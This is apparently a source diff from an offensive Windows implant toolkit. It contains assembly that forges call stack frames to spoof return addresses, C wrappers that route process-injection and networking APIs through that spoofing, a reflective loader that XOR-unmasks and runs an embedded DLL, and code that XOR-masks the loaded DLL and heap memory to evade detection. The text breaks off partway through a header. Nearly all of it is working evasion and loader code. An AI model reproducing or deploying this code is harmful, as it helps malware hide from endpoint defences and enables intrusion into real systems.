; ----------------------------------------------------------------------
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
; Need to figure out why this cuts off the call stack
; ----------------------------------------------------------------------
push 0
; ----------------------------------------------------------------------
; RtlUserThreadStart + 0x14 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 56 ]
mov r11, [ rdi + 64 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; BaseThreadInitThunk + 0x21 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 32 ]
mov r11, [ rdi + 40 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Gadget frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 48 ]
mov r11, [ rdi + 80 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Adjusting the param struct for the fixup
; ----------------------------------------------------------------------
mov r11, rsi ; Copying function to call into r11
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
; ----------------------------------------------------------------------
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
; ----------------------------------------------------------------------
mov r10, rcx
mov rax, [ rdi + 72 ]
jmp r11
fixup:
mov rcx, rbx
add rsp, 0x200 ; Big frame thing
add rsp, [ rbx + 48 ] ; Stack size
add rsp, [ rbx + 32 ] ; Stack size
add rsp, [ rbx + 56 ] ; Stack size
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
mov r12, [ rcx + 96 ] ; ReStoring OG r12
mov r13, [ rcx + 104 ] ; ReStoring OG r13
mov r14, [ rcx + 112 ] ; ReStoring OG r14
mov r15, [ rcx + 120 ] ; ReStoring OG r15
push rax
xor rax, rax
pop rax
jmp QWORD [ rcx + 8 ]
+464
View File
@@ -0,0 +1,464 @@
#include <winsock2.h>
#include <windows.h>
#include <wininet.h>
#include <combaseapi.h>
#include "spoof.h"
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
DECLSPEC_IMPORT SOCKET WINAPI WS2_32$WSASocketA ( int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD );
DECLSPEC_IMPORT int WINAPI WS2_32$WSAStartup ( WORD, LPWSADATA );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA ( LPCSTR );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hRequest );
call.args [ 1 ] = spoof_arg ( lpszHeaders );
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
call.args [ 3 ] = spoof_arg ( lpOptional );
call.args [ 4 ] = spoof_arg ( dwOptionalLength );
return ( BOOL ) spoof_call ( &call );
}
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( lpszAgent );
call.args [ 1 ] = spoof_arg ( dwAccessType );
call.args [ 2 ] = spoof_arg ( lpszProxy );
call.args [ 3 ] = spoof_arg ( lpszProxyBypass );
call.args [ 4 ] = spoof_arg ( dwFlags );
return ( HINTERNET ) spoof_call ( &call );
}
HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
call.argc = 8;
call.args [ 0 ] = spoof_arg ( hInternet );
call.args [ 1 ] = spoof_arg ( lpszServerName );
call.args [ 2 ] = spoof_arg ( nServerPort );
call.args [ 3 ] = spoof_arg ( lpszUserName );
call.args [ 4 ] = spoof_arg ( lpszPassword );
call.args [ 5 ] = spoof_arg ( dwService );
call.args [ 6 ] = spoof_arg ( dwFlags );
call.args [ 7 ] = spoof_arg ( dwContext );
return ( HINTERNET ) spoof_call ( &call );
}
int WINAPI _WSAStartup ( WORD wVersionRequested, LPWSADATA lpWSAData )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$WSAStartup );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( wVersionRequested );
call.args [ 1 ] = spoof_arg ( lpWSAData );
return ( int ) spoof_call ( &call );
}
SOCKET WINAPI _WSASocketA ( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$WSASocketA );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( af );
call.args [ 1 ] = spoof_arg ( type );
call.args [ 2 ] = spoof_arg ( protocol );
call.args [ 3 ] = spoof_arg ( lpProtocolInfo );
call.args [ 4 ] = spoof_arg ( g );
call.args [ 5 ] = spoof_arg ( dwFlags );
return ( SOCKET ) spoof_call ( &call );
}
BOOL WINAPI _CloseHandle ( HANDLE hObject )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hObject );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( hFile );
call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes );
call.args [ 2 ] = spoof_arg ( flProtect );
call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh );
call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow );
call.args [ 5 ] = spoof_arg ( lpName );
return ( HANDLE ) spoof_call ( &call );
}
BOOL WINAPI _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA );
call.argc = 10;
call.args [ 0 ] = spoof_arg ( lpApplicationName );
call.args [ 1 ] = spoof_arg ( lpCommandLine );
call.args [ 2 ] = spoof_arg ( lpProcessAttributes );
call.args [ 3 ] = spoof_arg ( lpThreadAttributes );
call.args [ 4 ] = spoof_arg ( bInheritHandles );
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
call.args [ 6 ] = spoof_arg ( lpEnvironment );
call.args [ 7 ] = spoof_arg ( lpCurrentDirectory );
call.args [ 8 ] = spoof_arg ( lpStartupInfo );
call.args [ 9 ] = spoof_arg ( lpProcessInformation );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread );
call.argc = 7;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpThreadAttributes );
call.args [ 2 ] = spoof_arg ( dwStackSize );
call.args [ 3 ] = spoof_arg ( lpStartAddress );
call.args [ 4 ] = spoof_arg ( lpParameter );
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
call.args [ 6 ] = spoof_arg ( lpThreadId );
return ( HANDLE ) spoof_call ( &call );
}
HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
call.args [ 1 ] = spoof_arg ( dwStackSize );
call.args [ 2 ] = spoof_arg ( lpStartAddress );
call.args [ 3 ] = spoof_arg ( lpParameter );
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
call.args [ 5 ] = spoof_arg ( lpThreadId );
return ( HANDLE ) spoof_call ( &call );
}
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( OLE32$CoCreateInstance );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( rclsid );
call.args [ 1 ] = spoof_arg ( pUnkOuter );
call.args [ 2 ] = spoof_arg ( dwClsContext );
call.args [ 3 ] = spoof_arg ( riid );
call.args [ 4 ] = spoof_arg ( ppv );
return ( HRESULT ) spoof_call ( &call );
}
BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
call.argc = 7;
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
call.args [ 1 ] = spoof_arg ( hSourceHandle );
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
call.args [ 3 ] = spoof_arg ( lpTargetHandle );
call.args [ 4 ] = spoof_arg ( dwDesiredAccess );
call.args [ 5 ] = spoof_arg ( bInheritHandle );
call.args [ 6 ] = spoof_arg ( dwOptions );
return ( BOOL ) spoof_call ( &call );
}
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
return ( HMODULE ) spoof_call ( &call );
}
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
}
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hFileMappingObject );
call.args [ 1 ] = spoof_arg ( dwDesiredAccess );
call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh );
call.args [ 3 ] = spoof_arg ( dwFileOffsetLow );
call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap );
return ( LPVOID ) spoof_call ( &call );
}
HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$OpenProcess );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
call.args [ 1 ] = spoof_arg ( bInheritHandle );
call.args [ 2 ] = spoof_arg ( dwProcessId );
return ( HANDLE ) spoof_call ( &call );
}
HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$OpenThread );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
call.args [ 1 ] = spoof_arg ( bInheritHandle );
call.args [ 2 ] = spoof_arg ( dwThreadId );
return ( HANDLE ) spoof_call ( &call );
}
BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
call.args [ 2 ] = spoof_arg ( lpBuffer );
call.args [ 3 ] = spoof_arg ( nSize );
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead );
return ( BOOL ) spoof_call ( &call );
}
DWORD WINAPI _ResumeThread ( HANDLE hThread )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hThread );
return ( DWORD ) spoof_call ( &call );
}
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpBaseAddress );
return ( BOOL ) spoof_call ( &call );
}
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flAllocationType );
call.args [ 3 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpAddress );
call.args [ 2 ] = spoof_arg ( dwSize );
call.args [ 3 ] = spoof_arg ( flAllocationType );
call.args [ 4 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( dwFreeType );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flNewProtect );
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpAddress );
call.args [ 2 ] = spoof_arg ( dwSize );
call.args [ 3 ] = spoof_arg ( flNewProtect );
call.args [ 4 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( lpBuffer );
call.args [ 2 ] = spoof_arg ( dwLength );
return ( SIZE_T ) spoof_call ( &call );
}
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
call.args [ 2 ] = spoof_arg ( lpBuffer );
call.args [ 3 ] = spoof_arg ( nSize );
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten );
return ( BOOL ) spoof_call ( &call );
}
+140
View File
@@ -0,0 +1,140 @@
#include <windows.h>
#include "loader.h"
#include "memory.h"
#include "tcg.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
int __tag_setup_hooks ( );
int __tag_setup_memory ( );
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory )
{
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * section_hdr = NULL;
void * section_dst = NULL;
DWORD section_size = 0;
DWORD new_protect = 0;
DWORD old_protect = 0;
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
for ( int i = 0; i < section_count; i++ )
{
section_dst = dst + section_hdr->VirtualAddress;
section_size = section_hdr->SizeOfRawData;
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
new_protect = PAGE_WRITECOPY;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
new_protect = PAGE_READONLY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_READWRITE;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
new_protect = PAGE_EXECUTE;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_EXECUTE_WRITECOPY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_READ;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
new_protect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
/* track memory */
dll_memory->Sections[ i ].BaseAddress = section_dst;
dll_memory->Sections[ i ].Size = section_size;
dll_memory->Sections[ i ].CurrentProtect = new_protect;
dll_memory->Sections[ i ].PreviousProtect = new_protect;
/* advance to section */
section_hdr++;
}
dll_memory->Count = section_count;
}
void go ( )
{
/* populate funcs */
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* load the pico */
char * pico_src = GETRESOURCE ( _PICO_ );
/* allocate memory for it */
char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
/* load it into memory */
PicoLoad ( &funcs, pico_src, pico_code, pico_data );
/* make code section RX */
DWORD old_protect;
KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
/* begin tracking memory allocations */
MEMORY_LAYOUT memory = { 0 };
memory.Pico.Data = pico_data;
memory.Pico.Code = pico_code;
/* call setup_hooks to overwrite funcs.GetProcAddress */
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs );
/* now load the dll (it's masked) */
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
/* load dll into memory and unmask it */
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
for ( int i = 0; i < masked_dll->len; i++ ) {
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
}
DLLDATA dll_data;
ParseDLL ( dll_src, &dll_data );
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
LoadDLL ( &dll_data, dll_src, dll_dst );
/* track dll's memory */
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
memory.Dll.Size = SizeOfDLL ( &dll_data );
ProcessImports ( &funcs, &dll_data, dll_dst );
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
/* call setup_memory to give PICO the memory info */
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory );
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
}
+6
View File
@@ -0,0 +1,6 @@
#define GETRESOURCE(x) ( char * ) &x
typedef struct {
int len;
char value [ ];
} RESOURCE;
+80
View File
@@ -0,0 +1,80 @@
#include <windows.h>
#include "memory.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
char xorkey [ 128 ] = { 1 };
void apply_mask ( char * data, DWORD len )
{
for ( DWORD i = 0; i < len; i++ ) {
data [ i ] ^= xorkey [ i % 128 ];
}
}
BOOL is_writeable ( DWORD protection )
{
if ( protection == PAGE_EXECUTE_READWRITE ||
protection == PAGE_EXECUTE_WRITECOPY ||
protection == PAGE_READWRITE ||
protection == PAGE_WRITECOPY )
{
return TRUE;
}
return FALSE;
}
void xor_section ( MEMORY_SECTION * section, BOOL mask )
{
if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE )
{
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) )
{
section->CurrentProtect = PAGE_READWRITE;
section->PreviousProtect = old_protect;
}
}
if ( is_writeable ( section->CurrentProtect ) ) {
apply_mask ( section->BaseAddress, section->Size );
}
if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect )
{
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) )
{
section->CurrentProtect = section->PreviousProtect;
section->PreviousProtect = old_protect;
}
}
}
void xor_dll ( DLL_MEMORY * region, BOOL mask )
{
for ( size_t i = 0; i < region->Count; i++ ) {
xor_section ( &region->Sections [ i ], mask );
}
}
void xor_heap ( HEAP_MEMORY * heap )
{
for ( size_t i = 0; i < heap->Count; i++ )
{
HEAP_RECORD * record = &heap->Records [ i ];
/* these are already RW */
apply_mask ( record->Address, record->Size );
}
}
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
{
xor_dll ( &memory->Dll, mask );
xor_heap ( &memory->Heap );
}
+1
View File
@@ -0,0 +1 @@
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask );
+37
View File
@@ -0,0 +1,37 @@
#define MAX_HEAP_RECORDS 32
#define MAX_SECTIONS 16
typedef struct {
PVOID Data;
PVOID Code;
